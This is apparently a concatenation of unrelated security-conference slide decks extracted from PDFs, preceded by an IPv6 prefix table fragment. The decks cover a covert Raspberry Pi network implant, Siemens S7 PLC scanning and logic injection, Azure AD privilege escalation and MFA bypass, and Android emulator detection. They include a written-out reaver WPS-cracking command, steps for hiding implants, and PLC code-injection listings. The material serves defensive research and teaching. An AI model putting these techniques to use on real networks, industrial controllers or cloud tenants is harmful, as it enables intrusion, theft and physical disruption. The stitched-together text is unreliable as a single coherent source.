/105 2^23 8,388,608 /106 2^22 4,194,304 /107 2^21 2,097,152 /108 2^20 1,048,576 /109 2^19 524,288 /110 2^18 262,144 /111 2^17 131,072 /112 2^16 65,536 /113 2^15 32,768 /114 2^14 16,384 /115 2^13 8,192 /116 2^12 4,096 /117 2^11 2,048 /118 2^10 1,024 /119 2^9 512 /120 2^8 256 /121 2^7 128 /122 2^6 64 /123 2^5 32 /124 2^4 16 /125 2^3 8 /126 2^2 4 /127 2^1 2 /128 2^0 1 CIDR Classful unused since 1993 IPv4 deployed in 1981 IPv6 deployed in 1999 /32 65,536 16,777,216 4,294,967,296 /33 32,768 8,388,608 2,147,483,648 /34 16,384 4,194,304 1,073,741,824 /35 8,192 2,097,152 536,870,912 /36 4,096 1,048,576 268,435,456 /37 2,048 524,288 134,217,728 /38 1,024 262,144 67,108,864 /39 512 131,072 33,554,432 /40 256 65,536 16,777,216 /41 128 32,768 8,388,608 /42 64 16,384 4,194,304 /43 32 8,192 2,097,152 /44 16 4,096 1,048,576 /45 8 2,048 524,288 /46 4 1,024 262,144 /47 2 512 131,072 /48 1 256 65,536 /49 128 32,768 /50 64 16,384 /51 32 8,192 /52 16 4,096 /53 8 2,048 /54 4 1,024 /55 2 512 /56 1 256 /57 128 /58 64 /59 32 /60 16 /61 8 /62 4 /63 2 /64 1 IPv6 CIDR Prefix Equivalents IPv6 Prefix # of /48s # of /56s # of /64s
pdf
新一代的恐怖袭击 基于树莓派的 渗透测试 锦龙信安(威客众测平台) 高级安全工程师 ——MXi4oyu 什么是树莓派 Raspberry  Pi(中文名为“树莓派”,简写为RPi,或者RasPi/RPi)是只有信 用卡 大小的微型计算机。 树莓派之父:埃本·阿普顿(Eben  Epton) 初心:能够在帮助小孩学习的同时,也能让他感受到在学习编程过程中的 愉悦感。 树莓派的特点 (1)可编程、可拓展(可编程控制GPIO口,可接各种传感器模块等) (2)可学习、可娱乐(集学习和娱乐于一身) (3)携带方便(一张标准的信用卡大小) (4)成本低(25美元) 主要版本 树莓派B 树莓派B+ 树莓派接线图 小试牛刀-­准备工作 (1)树莓派B+ (2)HDMI连接线1根 (3)SD卡(至少4G) (4)网线一根 (5)外接键盘 (6)  Mini  usb  数据线(输出电压5V,给树莓派供电) 小试牛刀-­系统烧录 (1)下载系统镜像 http://www.raspberrypi.org/downloads (2)使用Win32Disk  Imager 进行镜像恢复 http://sourceforge.net/projects/win32diskimager/ (3)写入系统镜像 小试牛刀-­基本设置 小试牛刀-­基本配置 小试牛刀-­登录系统 渗透测试系统-­Pwn  Pi http://www.pwnpi.com/ 树莓派安装Kali——准备工作 (1)树莓派B+    (必备) (2)Micro  SD卡 (至少4G,必备) (3)Mini  usb  数据线 (输出电压5V,必备) (4)HDMI连接线 (5)9寸车载Mini显示器 (6)无线键盘+鼠标套装 (7)3G/4G上网卡 (8)无线网卡(支持监听模式) (9)读卡器 树莓派安装kali——系统烧录 树莓派安装Kali——开机启动 https://www.offensive-­security.com/kali-­linux-­vmware-­arm-­ image-­download/ 摆渡攻击 狭义上的网络渗透的必然途径只能是互联网或者电话。当我们的目标处在 一个规格严密的内网中,我们有什么好的办法,达到我们想要的目的? 在现实生活中,被河流隔断的两岸往往利用渡船进行摆渡实现相互交通。而 在网络渗透中我们可以采取一种称之为“摆渡攻击”的手段。而今天的树 莓派就是我们摆渡的船。 攻击流程图 1.设备准备与信息收集 2.以社工等手段把树莓派送入内网 3.攻击路由器,无线AP,个人手机、平板、PC和服务器 4.以内部机器作为跳板漫游内网 供电 内网穿透 SSH  Tunnel-­SSH A主机:外网,www.91duofanli.com,sshd端口:22 B主机:内网,sshd端口:22 SSH  Tunnel——证书登录 SSH  Tunnel-­AutoSSH SSH  Tunnel-­AutoSSH 接入互联网 利用3G/4G信号接入互联网 隐秘安装树莓派——机器内部 隐秘安装树莓派——伪装成礼物 信息收集 隐秘安装树莓派——放到不宜察觉的地方 搜索附近无线热点 云检索 将ESSID:BSSID做为key。 若此key不存在云端服务器中,则将其添加到云服务器中,value为password 列表,默认为空。 若此key存在云端服务器中,则将查询结果返回到树莓派。 根据检索密码自动连接无线热点 尝试破解wps airmon-­ng  start  wlan0 wash  -­i  mon0  –C nohup  sudo  reaver  -­i  mon0  -­b  00:00:00:00:00:00  -­a  -­S  –N  -­v  -­d2  -­t  5  -­c  11  -­ o  fbi  &   wpa/wpa2  无线密码破解 树莓派超级计算机与计算机集群 搭建钓鱼wifi (1)桥接方式设置热点 (2)路由方式设置热点 中间人攻击 找到跳板机 Python编程控制树莓派GPIO 通过GPIO控制继电器
pdf
Exploit  PLC  on  the  internet Z-­‐0ne 概述 什么是PLC 为什么会联网 PLC • Programmable  Logic  Controller – 电源 – CPU – 存储 – I/O – 网络模块 PLC功能 • PLC功能 – 顺序控制 – 逻辑控制 • PLC应用 – 自动化控制 – 过程控制 其他 • PLC内核 – Codesys – ProConos • 底层操作系统 – Linux – Vxworks – WinCE • 通信协议 – 通用 • Modbus – 私有 • S7 • Omron  FINS PLC通信 • 串行 – RS232/485 • 专用 – MPI • 以太网 – TCP/IP – UDP 网络武器的目标 • Stuxnet作为网络武器其最终的目标也是西 门子PLC – 劫持通信 – 注入自己的逻辑程序 联网的隐患(1) • PLC暴露在互联网是比SCADA更大的安全隐 患 – 未授权访问 – 设备的用户等级保护缺失 – 通信协议的脆弱性 联网的隐患(2) • PLC暴露在互联网是比SCADA更大的安全隐 患 – 控制流程工艺 – 位于更底层 – 可能为关键基础设施 P L P L P L P L APPLICATION MES应用 ERP 信息层 管理层 控制层 设备层 联网的趋势 • 远程数据通信/远程维护催生了联网的需求 – 方便、快捷 – 减少了现场运维的成本 – 统一管理 联网的解决方案(1) 联网的解决方案(2) 联网的解决方案(2) PLC  ON  THE  INTERNET 西门子PLC全球统计报告 西门子PLC公网蜜罐统计 西门子S7协议 蜜罐应用案例 联网的风险案例 S7-­‐1200硬件形态 S7-­‐300硬件形态 西门子PLC  CPU模块全球统计报告(1) • 使用S7协议(TCP/102)对互联网进行扫描探测 – http://www.zoomeye.org/search?q=port%3A102 – https://www.shodan.io/search?query=Module+po rt%3A102 • 全球数据 (能成功读出模块型号的数据) – ZoomEye à 1446 – Shodan à 2749 – Plcscan.org  à 2215 西门子PLC  CPU模块全球统计报告(2) • 使用S7协议(TCP/102)对互联网进行扫描探测 – Nmap à s7-­‐enumerate.nse(TSAP:0102) – PG  mode – Rack:0  Slot:2 西门子PLC  CPU模块全球统计报告(3) • 国家排行 – 德国 350 – 意大利 255 – 美国 179 – 西班牙 146 – 土耳其 124 – 波兰 113 – 法国 108 – 捷克 74 – 丹麦 67 – 奥地利 64 西门子PLC  CPU模块全球统计报告(4) • 模块货号排行 – 6ES7  214-­‐1AG31-­‐0XB0 145 – 6ES7  214-­‐1AE30-­‐0XB0 142 – 6ES7  212-­‐1HE31-­‐0XB0 129 – 6ES7  315-­‐2AG10-­‐0AB0 129 – 6ES7  151-­‐8AB01-­‐0AB0 121 – 6ES7  315-­‐2EH14-­‐0AB0 120 – 6ES7  315-­‐2AH14-­‐0AB0 88 – 6ES7  214-­‐1BG31-­‐0XB0 74 – 6ES7  314-­‐6EH04-­‐0AB0 74 – 6ES7  313-­‐5BF03-­‐0AB0 73 西门子PLC  CPU模块全球统计报告(5) • 固件版本排行 – Version:  3.0.2 472 – Version:  2.2.0 142 – Version:  2.6.0 113 – Version:  4.0.0 96 – Version:  2.6.11 76 – Version:  3.2.10 76 – Version:  3.2.6 69 – Version:  3.3.8 59 – Version:  3.2.3 59 – Version:  3.2.8 55 西门子PLC  CP模块全球统计报告(1) • 使用S7协议(TCP/102)对互联网进行扫描探测 – Nmap à s7-­‐enumerate.nse(TSAP:0100) – Rack:0  Slot:0 • 全球数据(能成功读出模块型号的数据) – Plcscan.org  à 486 西门子PLC  CP模块全球统计报告(2) • 使用S7协议(TCP/102)对互联网进行扫描探测 – Nmap à s7-­‐enumerate.nse(TSAP:0100) – PG  mode – Rack:0  Slot:0 西门子PLC  CP模块全球统计报告(3) • 国家排行 – 意大利 91 – 德国 76 – 西班牙 32 – 法国 29 – 瑞士 26 – 捷克 25 – 丹麦 23 – 美国 18 – 波兰 14 – 中国 14 西门子PLC  CP模块全球统计报告(4) • 模块货号排行 – 6GK7  343-­‐1CX10-­‐0XE0 305 – 6GK7  343-­‐1EX30-­‐0XE0 70 – 6GK7  343-­‐1CX00-­‐0XE0 19 – 6GK7  343-­‐1EX11-­‐0XE0 18 – 6GK7  443-­‐1EX20-­‐0XE0 16 – 6GK7  443-­‐1EX11-­‐0XE0 14 – 6GK7  343-­‐1EX21-­‐0XE0 14 – 6GK7  343-­‐1EX20-­‐0XE0 13 – Unknown 4 – 6GK7  343-­‐1GX21-­‐0XE0 3 西门子PLC  CP模块全球统计报告(5) • 固件版本排行 – Version:  3.0.23 104 – Version:  2.3.2 79 – Version:  2.0.16 60 – Version:  2.6.0 56 – Version:  2.1.14 31 – Version:  2.2.20 22 – Version:  1.1.5 15 – Version:  2.5.0 14 – Version:  1.2.3 9 – Version:  1.0.26 8 西门子PLC全球分布图形化统计 西门子PLC  蜜罐统计报告(1) • Conpot – 不推荐默认配置 – 特征 • S7(TCP/102) – Serial  number  of  module:  88111222 • 全球数据 – ZoomEye à 48 – Shodan à 61 – Plcscan.org  à 30 西门子PLC  蜜罐统计报告(2) 西门子S7协议 蜜罐应用案例(1) • 通过监听TCP/102端口并仿真S7协议收集扫 描信息 – 记录连入端口的IP、时间 – 回复伪装的模块信息 – 输出协议操作的详细日志 西门子S7协议 蜜罐应用案例(2) 2015-­‐07-­‐09  09:27:20  [71.6.167.142]  Client  added 2015-­‐07-­‐09  09:27:20  [71.6.167.142]  The  client  requires  a  PDU  size  of  480  bytes 2015-­‐07-­‐09  09:27:20  [71.6.167.142]  Client  added 2015-­‐07-­‐09  09:27:21  [71.6.167.142]  The  client  requires  a  PDU  size  of  480  bytes 2015-­‐07-­‐09  09:27:21  [71.6.167.142]  Read  SZL  request,  ID:0x0011  INDEX:0x0001  -­‐-­‐>  OK 2015-­‐07-­‐09  09:27:21  [71.6.167.142]  Read  SZL  request,  ID:0x001c  INDEX:0x0001  -­‐-­‐>  OK 2015-­‐07-­‐09  09:27:21  [71.6.167.142]  Client  disconnected  by  peer 2015-­‐07-­‐09  09:27:25  [71.6.167.142]  Client  disconnected  by  peer C:\Users\Administrator>nslookup   71.6.167.142 服务器:  google-­‐public-­‐dns-­‐a.google.com Address:  8.8.8.8 名称:  census9.shodan.io Address:  71.6.167.142 西门子S7协议 蜜罐应用案例(3) 2015-­‐05-­‐06  19:53:49  [5.61.38.11]  Client  added 2015-­‐05-­‐06  19:53:55  [5.61.38.11]  Client  added 2015-­‐05-­‐06  19:53:58  [5.61.38.11]  The  client  requires  a  PDU  size  of  480  bytes 2015-­‐05-­‐06  19:53:58  [5.61.38.11]  Client  disconnected  by  peer 2015-­‐05-­‐06  19:53:59  [5.61.38.11]  Read  SZL  request,  ID:0x0011  INDEX:0x0000  -­‐-­‐>  OK 2015-­‐05-­‐06  19:53:59  [5.61.38.11]  Read  SZL  request,  ID:0x001c  INDEX:0x0000  -­‐-­‐>  OK 2015-­‐05-­‐06  19:54:00  [5.61.38.11]  Read  SZL  request,  ID:0x0132  INDEX:0x0004  -­‐-­‐>  OK 2015-­‐05-­‐06  19:54:02  [5.61.38.11]  Block  of  type  OB  list  requested  (start  sequence)  -­‐-­‐>  NOT  AVAILABLE 2015-­‐05-­‐06  19:54:03  [5.61.38.11]  Block  of  type  FB  list  requested  (start  sequence)  -­‐-­‐>  NOT  AVAILABLE 2015-­‐05-­‐06  19:54:03  [5.61.38.11]  Block  of  type  FC  list  requested  (start  sequence)  -­‐-­‐>  NOT  AVAILABLE 2015-­‐05-­‐06  19:54:03  [5.61.38.11]  Block  of  type  DB  list  requested  (start  sequence)  -­‐-­‐>  OK 2015-­‐05-­‐06  19:54:04  [5.61.38.11]  Block  info  requested  DB  1  -­‐-­‐>  OK 2015-­‐05-­‐06  19:54:04  [5.61.38.11]  Block  info  requested  DB  2  -­‐-­‐>  OK 2015-­‐05-­‐06  19:54:05  [5.61.38.11]  Block  info  requested  DB  3  -­‐-­‐>  OK 针对数据的验证(1) 针对数据的验证(2) 针对数据的验证(3) 针对数据的验证(4) 针对数据的验证(5) 针对数据的验证(6) EXPLOITS  S7  PLC S7-­‐300  PLC的等级保护功能 S7-­‐300  PLC的等级保护功能缺陷 S7协议对口令密码传输的缺陷 S7-­‐300  PLC内部程序字节码的转换 利用TCP/UDP连接功能实现端口扫描 利用通信功能块实现特定Socket通信 S7-­‐300的等级保护(1) • 口令保护 – 来自Step7帮助文件 • “保护CPU中的用户程序,防止未授权的修改(写保 护) ” • “保护用户程序的编程技术内容(读保护) ” • “防止将会干涉进程的在线功能” S7-­‐300的等级保护(2) • 口令保护帮助 S7-­‐300的等级保护缺陷 • 帮助文件对口令保护注意事项的定义 – “无法限制过程控制、监视和通信功能。例如, 无法使用口令保护来防止对"设置时间/日期"功 能的访问。 ” • 其他“例如” – 启用LV2/LV3也可以操作CPU工作状态 S7协议对口令密码传输的弱加密(1) S7协议对口令密码传输的弱加密(2) • Hydra已集成基于S7协议的口令破解模块 S7-­‐300  MC7字节码的传输 MC7  字节码转换(1) • 研究目的与意义 – 脱离官方编译器S7kafapx.exe实现对PLC程序的 转换与修改 – S7协议大量字段已被解码但是程序下载功能未 被解码 – Stuxnet核心功能 • 故事 MC7  字节码转换(2) • S7-­‐300  PLC程序块解析 – 组织块(OB)(主程序块负责所有FC程序块的调用) – 数据块(DB)(用于存放用户和系统定义的变量数据) – 程序块(FC)(由用户编写的程序块) – 功能块(FB)(由用户编写的专用数据块) – 系统程序块(SFC)(调用系统某些功能时自动创建) – 系统功能块(SFB)(调用系统某些数据功能时自动创 建) – 系统数据块(SDB)(由编程软件自动生成主要存放 PLC的硬件组态等信息,用户无法直接打开和更改) MC7  字节码转换(3) • 70  70  //MC7开始头部标志 • 01  01 • 02  //块创建的语言 hex:0x02  LAD  (KOP) • 08  //块类型 hex:0x08  OB • 00  01  //块编号 hex:0x00,0x01 • 00  00  00  96  //块总长度 • 00  00  00  00  //是否设置密码 • 03  22  C8  2E  2C  20  //最后修改时间 • 03  9D  CB  0C  11  4C  //上次修改时间 • 00  1C  //内部块数据表长度 • 00  30 • 00  14  //本地数据长度 • 00  02  //MC7执行代码长度 MC7  注入实例(1) STL: A  M  8.0 AN  T  6 L  S5T#3S SD  T  0 NOP  0 NOP  0 NOP  0 NOP  0 STL: A  T  0 =  L  20.0 A  L  20.0 BLD  102 =  Q  124.0 A  L  20.0 L  S5T#3S SD  T  1 NOP  0 NOP  0 NOP  0 NOP  0 MC7  注入实例(2) MC7  注入实例(3) MC7  注入实例(4) • 在无等级保护的情况下修改定时器的时间 为1秒 S7  300  PLC支持多种连接方式 • 多种连接方式 – S7连接 – 冗余的S7连接 – 点对点连接 – FMS连接 – FDL连接 – ISO传输连接 – ISO  on  TCP连接 – TCP连接 – UDP连接 – 电子邮件连接 S7  300  PLC支持多种连接对象 • 多种连接连接对象 – 相同型号PLC  CPU与PLC  CPU之间通信 – 不同型号PLC  CPU与PLC  CPU之间通信 – PLC与上位机之间通信 – PLC与其他以太网设备通信 S7  300  CP的FC5/6功能 • 通信功能块 – FC5à “AG_SEND“ – FC6à “AG_RECV“ • 异步通信方式 • 类似传统Socket通信 – SEND功能 – RECV功能 CP的自定义Socket通信 • 选择连接方式 – S7 – TCP/UDP – 激活连接的建立 • 调用FC5/FC6 – FC • 使用DB构建收发缓冲区 – 背景数据块 自定义Socket通信实现(1) 自定义Socket通信实现(2) • FC5  STL: CALL  "AG_SEND" ACT  :=L20.0 ID  :=1 LADDR  :=W#16#100 SEND  :=P#DB99.DBX0.0 BYTE  38 LEN  :=38 DONE  :=M99.1 ERROR  :=M99.2 STATUS:=MW100 • FC6  STL: CALL  "AG_RECV" ID  :=1 LADDR  :=W#16#100 RECV  :=P#DB199.DBX0.0 BYTE  1024 NDR  :=M99.3 ERROR  :=M99.4 STATUS:=MW102 LEN  :=DB99.DBW38 自定义Socket通信实现(3) 自定义Socket通信实现(4) 自定义Socket通信实现(5) 自定义Socket通信实现(6) • Black  Hat  USA  2015 – INTERNET-­‐FACING  PLCS  -­‐ A  NEW  BACK  ORIFICE • FB65  "TCON" • FB63  "TSEND“ • FB64  "TRCV“ • 通过S7-­‐300  PLC的内部通信块实现Socks5代理功能 • 更高级、更灵活 RELEASED  EXPLOITS  TOOLS S7  PLC特性 如何构造测试工具 S7  PLC特性 • 非标签方式寻址 • 功能块按照数字编号排序 – FC  1 – SDB  1001 • 变量数据是按地址寻址 – M0.0àbit  0000 – M0.1àbit  0001 – DB1.DBX1~ • 方便遍历测试而不需要进行枚举 – For  i in  range(000000,001234) 通用性增强 • 可设置连接模块与槽号 – Rack – Slot • S7连接的初始化方式 – PG – OP – S7 工具实现 • S7  Fuzz  Tools – Get  Module  info – Set  CPU  Run/Stop – Fuzz  Set  Value – Fuzz  DB  Data – Fuzz  Block S7  Fuzz  Tools  测试用例与效果(1) • 测试设备 – CPU:  6ES7  313-­‐5BG04-­‐0AB0 – CP:  6GK7  343-­‐1CX10-­‐0XE0 • 启用等级保护 • 用例: – Rack:0  Slot:2 • 结果 S7  Fuzz  Tools  测试用例与效果(2) • 测试设备 – CPU:  6ES7  313-­‐5BG04-­‐0AB0 – CP:  6GK7  343-­‐1CX10-­‐0XE0 • 不启用等级保护 • 用例: – Rack:0  Slot:2 • 结果 MC7Code  Inject测试用例与效果(1) • 测试设备 – CPU:  6ES7  313-­‐5BG04-­‐0AB0 – CP:  6GK7  343-­‐1CX10-­‐0XE0 • 不启用等级保护 • 用例: • 结果 总结 About • site: – plcscan.org
pdf
fox-it.com Pwning your Azure environment Dirk-jan Mollema / @_dirkjan I’m in your cloud… - Lives in The Netherlands - Hacker / Red Teamer / Researcher @ Fox-IT since 2016 - Author of several Active Directory tools - Mitm6 - ldapdomaindump - BloodHound.py - aclpwn.py - Co-author of ntlmrelayx - One of the MSRC Most Valuable Security Researchers 2018/2019 - Blogs on dirkjanm.io - PrivExchange - Tweets stuff on @_dirkjan Whoami • Azure AD: what is it and how to talk to it • Azure AD roles, applications and service principals • Fun with MFA • Linking up cloud and on-premise • Azure Resource manager and Azure AD • Azure integrations – Azure DevOps This talk • “Azure Active Directory (Azure AD) is Microsoft’s cloud-based identity and access management service.” • Source of authentication for Office 365, Azure Resource Manager, and anything else you integrate with it. Azure AD Azure AD Azure AD vs Active Directory (Windows Server) Active Directory Azure Active Directory LDAP REST API’s NTLM/Kerberos OAuth/SAML/OpenID/etc Structured directory (OU tree) Flat structure GPO’s No GPO’s Super fine-tuned access controls Predefined roles Domain/forest Tenant Trusts Guests • Portal • PowerShell modules • Azure CLI • API’s Interacting with Azure AD • Nice and shiny • Built for ease of use • Sucks if you’re trying to understand how stuff actually works Portal • MSOnline PowerShell module • Focusses on Office 365 • Some Office 365 specific features • AzureAD PowerShell module • General Azure AD • Different feature set • Azure CLI / Az powershell module • More focus on Azure Resource Manager Powershell • Azure AD Graph • Microsoft Graph • Exchange Provisioning service API’s • All of them have limitations • Unique features, yet deprecated • Different authentication methods supported • Different terminology Which one to use? Confusion • There is not one uniform way to talk to Azure AD • You’re limited to what Microsoft considers important and documents • Most of this research is from using documented and undocumented APIs Talking to Azure fox-it.com Azure AD – roles, applications, service principals • Users • Devices • Applications Azure AD Principals • RBAC Roles are only used for Azure Resource Manager • Office 365 uses administrator roles exclusively Azure AD roles • Global/Company administrator can do anything • Limited administrator accounts • Application Administrator • Authentication Administrator • Exchange Administrator • Etc • Roles are fixed Azure AD admin roles Source: https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles • Most confusing part (IMO) of Azure AD • Documentation unclear • Terminology different between documentation, APIs and Azure portal • Complex permission system “Applications” • Examples: • Microsoft Graph • Azure Multi-Factor Auth Client • Azure Portal • Office 365 portal • Azure ATP • A default Office 365 Azure AD has about 200 service principals (read: applications) Everything is an application Applications and multitenancy – your apps Applications and multitenancy – third party apps Applications and multitenancy – Microsoft apps • Two types of privileges: • Delegated permissions • Require signed-in user present to utilize • Application permissions • Are assigned to the application, which can use them at any time • These privileges are assigned to the service principal Application privileges • Every application defines permissions • Can be granted to Service Principals • Commonly used: • Microsoft Graph permissions • Azure AD Graph permissions Permissions model Example: Application permissions Service principal permissions How permissions actually work API definition Portal terminology Every application defines: - OAuth2 permissions - Application roles App registration: - Delegated permissions - Application permissions An application requires: - Resource access App registration: - API permissions A service principal has: - OAuth2 permission grants - Application roles An enterprise application has: - Delegated permissions - Application permissions • Normal flow: • Define required permissions in application • Approve permissions • Alternative flow: • Assign a service principal to a role in MS Graph/AAD Graph directly Hiding in plain sight Application view Service Principal view • No way to tell from portal or API which permissions they have The exception: Microsoft applications… JWT • Some admin roles allow managing all applications • Global Administrator • (Cloud) Application Administrator • Including assigning credentials • Possibility for backdooring Azure AD • No MFA for Service Principals • Possible to escalate privileges • If you control an application with more privileges than you • Previously: default applications with more permissions than Application Administrator Why does this matter? • Add certificate as credential to an application Example: Add certificate to service principal • Connect as service principal Example (2) • Log shows actions were performed by application Logging? • Application admins can’t assign Application roles for Microsoft/Azure AD Graph (Application permissions) • They can assign OAuth2 permissions (delegated permissions) • Only valid when user is using the application • To exploit: • Add user impersonation permission to application • Phish a Global Administrator with link • Do stuff Assigning permissions Demo • Assign a new redirect URL to an Office 365 application • (ab)use built-in permissions for this application • Phish admin • Logs? Phishing with a twist Login log fox-it.com Fun with MFA • Authenticator app • Notification • One time code • Text message • Voice call (some of the) MFA methods • The number registered in Azure AD is called • To authenticate, press # Voice call • Break into someone’s voicemail • Change the welcome message to a # tone • Make sure the phone is occupied • Sign in using password • Azure AD will get redirected to voicemail • Authenticated Abuse scenario Demo More cool research on this topic: see Martin Vigo’s talk at Def Con 26 “Compromising online services by cracking voicemail systems” • “closing this as a v-next fix” … “post-exploitation technique” … “the attacker must compromise the users voicemail to enable the attack” Microsoft’s reaction fox-it.com What could possibly go wrong Linking up cloud and on-premise • Application administrator is high-privilege cloud account • Hopefully protected with MFA • What about on-premise? Exploiting the link with on-premise • Tool that resides on-premise and syncs AD data to Azure AD • Installed in both Password Hash Synchronization and ADFS scenario’s Azure AD connect Source: https://docs.microsoft.com/en-us/azure/active- directory/hybrid/whatis-phs AD Sync account privileges • If Password Hash Synchronization is in use, the Sync account can sync all password hashes • Means it’s basically Domain Admin on-premise • Either way, the sync account has high privileges in the cloud • Cloud assets may extend beyond the AD Domain Sync account privileges • Adconnectdump: 3 ways to dump the password on-premises • Technical explanation: see my Troopers presentation Azure AD Connect password extraction https://github.com/fox-it/adconnectdump • Dump all on-premise password hashes (if PHS is enabled) • Log in on the Azure portal (since it’s a user) • Bypass conditional access policies for admin accounts • Add credentials to service principals • Modify service principals properties Fun stuff to do with the Sync account fox-it.com Azure Resource manager and Azure AD • RBAC roles can be assigned to service principals • These can be managed by Application Administrators • Also by the on-premise sync account • High privilege applications might need an account • Example: Terraform Azure RBAC • Pwn on-premise sync account • Assign credentials to service principals with rights in Azure RM • Now you also control any cloud resources Escalating again fox-it.com Azure integrations – Azure DevOps • DevOps tooling • Source code management • Build pipelines • Automatic deployment What is Azure DevOps • Kinda cool feature that allows you to build code for free • Uses Microsoft hosted resources in Azure Azure DevOps - Pipelines Shoutout to @_xpn_ for his blog that got me into this Example: adconnectdump • Manual definition through GUI • Pipelines-as-code using YAML file (new) Pipeline definitions Build definitions • Team member wants to publish artifacts in Azure using Blob storage • Links up Azure RM with Azure DevOps Scenario • New team member joins • Needs minimal privileges to contribute to the repository • No special privileges to edit build pipelines Adding a new user New user commit Meanwhile in an unrelated Azure VM RBAC permissions How about that notepad • No – specific role is required • However: since pipeline definitions are part of the repository, commit privileges is sufficient • Reported to Microsoft, is fixed in the latest version of DevOps Can anyone edit pipelines? • Be careful about integrations • Anyone that can edit the pipelines can access the secrets • If secrets are enabled for public repositories, rogue pull request is sufficient to extract secrets • (this is documented) Azure DevOps conclusions Source: https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/github?view=azure- devops&tabs=yaml#validate-contributions-from-forks • Cloud can be beautiful • All your stuff is on the internet • You need to secure it yourself (MFA!!!!) • SaaS takes away your need to patch manually • Always the latest patches • Always the latest features • Always the latest vulnerabilities • Full trust in vendor is implied General conclusions fox-it.com Pwning your Azure environment Dirk-jan Mollema / @_dirkjan I’m in your cloud…
pdf
Guess Where I am: Android模拟器躲避的检测与应对 胡文君(MindMac) 肖梓航(Claud Xiao) 模拟器检测技术 模拟器技术应用广泛 • Google、安全企业使用模拟器检测恶意代码 • 为什么用模拟器而不是真机? – 经济成本低 – 高度可定制 – 易于开发 – 容易部署 模拟器检测技术现状 • Timothy Vidas and Nicolas Christin, Evading Android Runtime Analysis via Sandbox Detection, ASIACCS’14 • 赵闽 and 倪超,逃离安卓动态检测&订票助手一日谈,HitCon 2013 • Tim Strazzere, Dex Education 201:Anti-Emulators, HitCon 2013 • Patrick Schulz, Android Emulator Detection by Observing Low-level Caching Behavior • Felix Matenaar and Patrick Schulz, Detecting Android SandBoxes • Jon Oberheide and Charlie Miller, Dissecting the Android Bouncer, SummerCon 2012 • Nicholas J. Percoco and Sean Schulter, Adventures in BouncerLand, Black Hat USA 2012 • Vaibhav Rastogi, Yan Chen and William Enck, AppsPlayGround: Automatic Security Analysis of Smartphone Applications, CODASPY’ 13 模拟器检测技术的分类 • 模拟检测技术从上至下可分为4类 用户层行为和数据 Android系统层特征 Linux系统层特征 模拟器体系结构特征 基于用户层行为和数据检测模拟器 • 存在API Demos、Dev Tools等一般模拟器上 的应用程序 • 联系人、短信、电话记录、相册是否为空? • 应用程序安装数量很少 or 只有模拟器上默 认的应用程序 • logcat一直处于运行状态?Log中记录敏感 数据信息,如短信发送的目的地址和内容? 基于Android系统层特征检测模拟器 • 电话号码 == 15555215554-5584,etc • 电池状态与电量 • wifi、GPS等硬件特征 • Build.Device == generic, etc • 反射调用SystemProperties.get获取属性值 • 读取/system/build.prop文件 • Monkey行为模拟事件 基于Linux系统层特征检测模拟器 • 通过驱动信息特征检测模拟器 • 通过设备文件特征检测模拟器 • 通过执行shell命令检测模拟器 • 通过Native Code检测模拟器 基于模拟器体系结构特征检测模拟器 • 模拟器CPU信息异于真实机器 • DexLabs-Qemu二进制翻译技术 • BlueBox-模拟器底层缓存行为 Felix Matenaar and Patrick Schulz 基于模拟器体系结构特征检测模拟器 • 模拟器CPU信息异于真实机器 – adb shell – cat /proc/cpuinfo 反模拟器对抗的应用不理想 • 使用模拟器的分析系统考虑到了模拟器检测行为的存在 • 各分析系统针对性地使用了反模拟器检测技术 • 最新研究结果表明实际效果并不理想 – Timothy Vidas and Nicolas Christin, Evading Android Runtime Analysis via Sandbox Detection, ASIACCS’14 图片来源:Evading Android Runtime Analysis via Sandbox Detection, ASIACCS’14 我们的问题 • 如何判断Android应用程序是否存在反模拟器 行为? • 真实世界中,有多大比例的应用程序会进行 模拟器检测?采用何种手段进行检测?检测 模拟器的目的? • 如何构造更真实的模拟器,欺骗应用程序其 运行在真机环境? 如何判断Android应用程序是否 存在反模拟器行为? 反模拟器行为真实案例 • 通过Build.MODEL获取设备型号 • 与特定字符串进行比较 获取设备型号 与特定字符串比较 模拟器标识 模拟器检测 反模拟器行为检测思路 • 反编译APK • 搜索特定API以及字符串 • 若存在获取系统信息,并与特定字符串比较, 则认为存在模拟器检测行为 反模拟器行为特征(40条特征) • TelephonyManager类的API – (getDeviceId, 000000000000000) – (getDeviceId, 012345678912345) – (getSubscriberId,310260000000000) – (getVoiceMailNumber, 15552175049) – ... • Build类字段 – (BRAND, generic) – (DEVICE, generic) – (HARDWARE, goldfish) – (HOST, android-test) – ... 反模拟器行为特征(40条特征) • 特征文件 – /dev/socket/qemud – /dev/qemu_pipe – /dev/qemu_trace – ...... • 系统属性 – (ro.hardware, goldfish) – (ro.product.device, generic) – (ro.product.model, sdk) – (ro.product.name, sdk) – ....... 无法检测基于用户层行为和数据、模拟器体系结构特征的反模拟器行为! 真实世界中,有多大比例的应用 程序会进行模拟器检测?采用何 种手段进行检测?检测模拟器的 目的? 实验样本空间 • 正常应用程序 – 来源:Google Play 2013 – 样本规模:14,195 • 恶意代码样本 – 来源:AndroMalShare – 样本规模:8,939 正常应用有近50%命中特征 • 49.996%的样本命中特征 • 分析发现大部分命中特征来源于广告模块 • 过滤广告模块,仍然有21.606%样本命中特 征 基于正常应用的统计数据 1329 1270 1232 808 776 744 743 695 543 539 512 461 446 413 405 396 363 332 320 311 745 542 643 409 271 340 337 486 267 214 340 298 244 152 119 260 211 118 159 162 261 258 282 194 139 138 175 184 107 116 123 121 110 66 64 117 33 87 53 77 0 200 400 600 800 1000 1200 1400 # Apps # De te cte d Apps # De te cte d Apps(Ad Filte red) 基于正常应用的统计数据 284 279 198 170 133 113 83 57 56 27 27 27 23 20 17 12 12 11 8 76 123 100 136 52 44 63 34 2 23 25 20 16 17 16 7 11 9 6 24 73 53 58 25 20 25 14 2 10 11 9 9 4 12 2 2 6 3 0 50 100 150 200 250 300 # Apps # De te cte d Apps # De te cte d Apps(Ad Filte red) 反模拟器行为多来自于第三方库 • 大部分应用程序自身并没有反模拟器行为,其模拟 器检测部分代码来自于以下几类 – 广告模块: Google Ad, Millennial Media, etc – 社交类库: Facebook, Twitter, etc – 支付类库: PayPal,Amazaon, etc – 视频类库: Youtube, etc – 游戏引擎: LGame, etc – 其他第三方库: SamSung S-Pen,Mozilla JavaScript, etc 模拟器检测方法-Google Ad • 反射调用SystemProperties.get方法获取系统属性 • 比较模拟器对应的特征值检测模拟器 模拟器检测方法-PayPal • 